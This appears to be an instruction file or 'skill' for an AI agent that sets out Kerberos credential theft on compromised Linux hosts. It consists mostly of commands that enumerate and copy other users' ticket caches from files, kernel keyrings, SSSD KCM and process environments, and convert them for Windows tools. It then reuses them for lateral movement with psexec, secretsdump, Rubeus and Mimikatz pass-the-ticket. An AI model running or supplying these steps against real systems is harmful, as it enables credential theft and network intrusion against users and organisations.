Linux Kerberos Ticket Harvesting
This skill guides you through extracting Kerberos tickets from Linux systems during post-exploitation. Linux stores credentials in three main locations: Files, Kernel Keyrings, and Process Memory.
Quick Start
When you pop a shell on a Linux machine and need Kerberos tickets:
- Enumerate what cache types exist
- Extract using the appropriate method
- Convert to a portable format if needed
- Use the tickets for lateral movement
Step 1: Enumerate Active Caches
Before extraction, identify where credentials are stored. Run these commands to find all cache types:
# Check current user's cache
klist -l 2>/dev/null || echo "No klist or no cache"
# Check all TGTs in current cache
klist -A 2>/dev/null
# Check kernel keyrings (requires sudo)
sudo keyctl get_persistent @u 2>/dev/null
sudo keyctl show $(keyctl get_persistent @u 2>/dev/null) 2>/dev/null
# Check file-based caches
sudo ls -al /tmp/krb5cc_* /run/user/*/krb5cc* 2>/dev/null
# Check process environments for KRB5CCNAME
sudo find /proc -maxdepth 2 -name environ -exec sh -c 'tr "\0" "\n" < {} | grep -H KRB5' \; 2>/dev/null
# Check krb5.conf for default cache type
grep -i default_ccache_name /etc/krb5.conf 2>/dev/null
What to look for:
FILE:/tmp/krb5cc_%{uid}- File-based cache (easiest to steal)DIR:/run/user/%{uid}/krb5cc- Directory-backed cache (systemd-logind default)KEYRING:persistent:%{uid}orKEYRING:session- Kernel keyring storageKCM:%{uid}- SSSD Kerberos Cache ManagerMEMORY:unique_id- Process-local cache
Step 2: Extract Based on Cache Type
File/DIR Cache Extraction (Easiest)
When default_ccache_name shows FILE: or DIR::
# Single file cache
sudo cp /tmp/krb5cc_$(id -u) /tmp/stolen.ccache
# Directory cache (one file per ticket)
sudo cp -r /run/user/$(id -u)/krb5cc /tmp/user_dircc
# Set proper permissions
chmod 600 /tmp/*.ccache
chown $(whoami) /tmp/*.ccache 2>/dev/null || true
# Validate the stolen cache
KRB5CCNAME=/tmp/stolen.ccache klist
Keyring Extraction
When default_ccache_name shows KEYRING::
# Get the persistent keyring
KRING=$(keyctl get_persistent @u 2>/dev/null)
# List all ccache blobs in the keyring
keyctl show $KRING
# Extract each ccache blob (note the serial numbers from above)
keyctl pipe <serial_number> > /tmp/ccache_dump
# Validate
KRB5CCNAME=/tmp/ccache_dump klist
Important: Check multiple keyring types:
KEYRING:persistent:%{uid}- Persists across loginsKEYRING:session- Cleared on logoutKEY_SPEC_THREAD_KEYRING- For services with helper threads
KCM (SSSD) Cache Extraction
When default_ccache_name shows KCM::
# List all caches managed by KCM
sudo kcm_ctl list
# Extract a specific user's cache (UID 1000, cache ID 0)
sudo kcm_ctl get 1000 0 > /tmp/1000.kcm.ccache
# Validate
KRB5CCNAME=/tmp/1000.kcm.ccache klist
Offline KCM extraction (when socket access is blocked):
- Copy
/var/lib/sss/secrets/secrets.ldb - Copy
/var/lib/sss/secrets/.secrets.mkey - Use
SSSDKCMExtractoror similar tools to decrypt
Note: KCM extraction typically requires root or membership in the kcm SELinux domain.
Step 3: Convert to Portable Format
For cross-platform use (especially Windows tooling), convert MIT ccache to .kirbi format:
# Using kerbtool (recommended)
./kerbtool --convert --in /tmp/stolen.ccache --out stolen.kirbi
# Alternative: ticketConverter.py
python3 ticketConverter.py /tmp/stolen.ccache stolen.kirbi
Step 4: Use the Tickets
From Linux
# Use with Impacket tools
KRB5CCNAME=/tmp/stolen.ccache impacket-psexec user@domain.local
KRB5CCNAME=/tmp/stolen.ccache impacket-secretsdump domain/user@domain.local
# Request additional TGS tickets
KRB5CCNAME=/tmp/stolen.ccache kerbtool --ask --spn cifs/fileserver.domain.local
From Windows
# Using Rubeus
Rubeus.exe ptt /ticket:stolen.kirbi
# Using Mimikatz
mimikatz # kerberos::ptt stolen.kirbi
Helper Scripts
Use the bundled scripts for automated extraction:
# Enumerate all cache locations
./scripts/enumerate_caches.sh
# Extract from keyrings (requires sudo)
sudo ./scripts/extract_keyring.sh
# Convert ccache to kirbi format
./scripts/convert_ticket.sh <input.ccache> <output.kirbi>
Common Scenarios
Scenario 1: Web Server with Kerberos Auth
# Check Apache/httpd process for KRB5CCNAME
tr "\0" "\n" < /proc/$(pgrep apache2)/environ | grep KRB5
# Extract the cache it's using
cp $(grep KRB5 /proc/$(pgrep apache2)/environ | cut -d= -f2) /tmp/web.ccache
Scenario 2: Multiple Users Logged In
# Find all user caches
for uid in $(ls /run/user/ 2>/dev/null); do
echo "=== UID $uid ==="
ls -la /run/user/$uid/krb5cc* 2>/dev/null
sudo cp -r /run/user/$uid/krb5cc /tmp/uid${uid}_ccache 2>/dev/null
done
Scenario 3: Service Accounts
# Check common service accounts
for svc in sssd_kcm gssproxy sshd; do
pid=$(pgrep -x $svc)
if [ -n "$pid" ]; then
echo "=== $svc (PID $pid) ==="
tr "\0" "\n" < /proc/$pid/environ | grep -i krb5
fi
done
Troubleshooting
| Issue | Solution |
|---|---|
klist: No credentials cache found |
Check KRB5CCNAME env var or use klist -l to list available caches |
keyctl: Operation not permitted |
Need root or CAP_SYS_ADMIN capability |
kcm_ctl: Connection refused |
KCM socket may be at /run/.heim_org.h5l.kcm-socket instead |
Permission denied on cache files |
Use sudo or change ownership with chown |
| Empty keyring | Check KEYRING:session or KEY_SPEC_THREAD_KEYRING instead of persistent |
Security Notes
- Keyring extraction requires understanding of kernel keyring internals
- KCM extraction typically requires privilege escalation to root
- File caches are world-readable on some misconfigured systems
- Always validate extracted tickets with
klistbefore attempting to use them - Ticket expiration matters - check
klistoutput for validity times